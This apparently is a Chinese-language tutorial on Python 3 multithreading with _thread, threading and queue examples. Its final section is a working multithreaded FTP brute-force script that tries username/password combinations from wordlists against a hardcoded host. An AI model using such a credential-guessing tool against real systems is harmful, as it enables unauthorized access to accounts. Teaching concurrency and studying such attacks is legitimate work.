Python3 多線程
多線程類似於同時執行多個不同程序,多線程運行有如下優點:
- 使用線程可以把占據長時間的程序中的任務放到后台去處理。
- 用戶界面可以更加吸引人,比如用戶點擊了一個按鈕去觸發某些事件的處理,可以彈出一個進度條來顯示處理的進度。
- 程序的運行速度可能加快。
- 在一些等待的任務實現上如用戶輸入、文件讀寫和網絡收發數據等,線程就比較有用了。在這種情況下我們可以釋放一些珍貴的資源如內存占用等等。
每個獨立的線程有一個程序運行的入口、順序執行序列和程序的出口。但是線程不能夠獨立執行,必須依存在應用程序中,由應用程序提供多個線程執行控制。
每個線程都有他自己的一組CPU寄存器,稱為線程的上下文,該上下文反映了線程上次運行該線程的CPU寄存器的狀態。
指令指針和堆棧指針寄存器是線程上下文中兩個最重要的寄存器,線程總是在進程得到上下文中運行的,這些地址都用於標志擁有線程的進程地址空間中的內存。
- 線程可以被搶占(中斷)。
- 在其他線程正在運行時,線程可以暫時擱置(也稱為睡眠) -- 這就是線程的退讓。
線程可以分為:
- 內核線程:由操作系統內核創建和撤銷。
- 用戶線程:不需要內核支持而在用戶程序中實現的線程。
Python3 線程中常用的兩個模塊為:
- _thread
- threading(推薦使用)
thread 模塊已被廢棄。用戶可以使用 threading 模塊代替。所以,在 Python3 中不能再使用"thread" 模塊。為了兼容性,Python3 將 thread 重命名為 "_thread"。
_thread例子:
#簡單的_thread線程 import _thread import time #為線程定義一個函數 def print_time(threadName, delay): count = 0 while count < 5: time.sleep(delay) count +=1 print("%s: %s" %(threadName, time.ctime(time.time()))) #創建兩個線程 try: _thread.start_new_thread(print_time, ("正在搞屎1",1,)) _thread.start_new_thread(print_time, ("正在搞屎2", 2,)) except: print("Error!!!") while 1:#無限循環,因為線程在后台運行,如果沒有while 1,主程序會結束運行,后台的線程也會停止 pass
threading:
基本使用:
import threading import time class myThread (threading.Thread): #繼承threading.Thread def __init__(self, threadID, name, delay): threading.Thread.__init__(self) self.threadID = threadID self.name = name self.delay1 = delay def run(self): print ("開始線程:" + self.name) print_time(self.name, self.delay1, 5) print ("退出線程:" + self.name) def print_time(threadName, delay, counter): while counter: #threadName.exit() 退出線程 time.sleep(delay) print ("%s: %s" % (threadName, time.ctime(time.time()))) counter -= 1 # 創建新線程 thread1 = myThread(1, "Thread-1", 1) #創建一個類的對象 thread2 = myThread(2, "Thread-2", 2) # 開啟新線程 thread1.start() #調用對象里面的方法(函數) thread2.start() thread1.join() #等待線程結束 thread2.join() print ("退出主線程")
加上queue隊列:
import threading import time import queue def gaoshi(): while not q.empty(): dict = q.get() print(str(dict) + " 正在搞事!") time.sleep(1) if __name__ == '__main__': print("開始搞事") thread_x = 2 q = queue.Queue() for i in range(10): q.put(i) #把數據寫這個對象里面,用於多線程調用 print(q.get()) for x in range(int(thread_x)): t = threading.Thread(target=gaoshi) t.start() print("標記1") # 線程依然在后台運行 print("標記2")
結果:
爆破ftp實戰:
import ftplib import threading import queue import sys #利用Python開發其他協議爆破腳本 def ftp_check(): while not q.empty(): dict=q.get() dict=dict.split('|') username=dict[0] password=dict[1] ftp=ftplib.FTP() try: ftp.connect('192.168.0.101',21) ftp.login(username,password) ftp.retrlines('list') ftp.close() print('success|'+username+'|'+password) except ftplib.all_errors: print('failed|'+username+'|'+password) ftp.close() pass if __name__ == '__main__': print("python ftp_burte.py user.txt pass.txt 10") user_file=sys.argv[1] pass_file = sys.argv[2] thread_x=sys.argv[3] q=queue.Queue() for username in open(user_file): for password in open(pass_file): username = username.replace('\n', '') password = password.replace('\n', '') diclist=username+'|'+password q.put(diclist) for x in range(int(thread_x)): t=threading.Thread(target=ftp_check) t.start()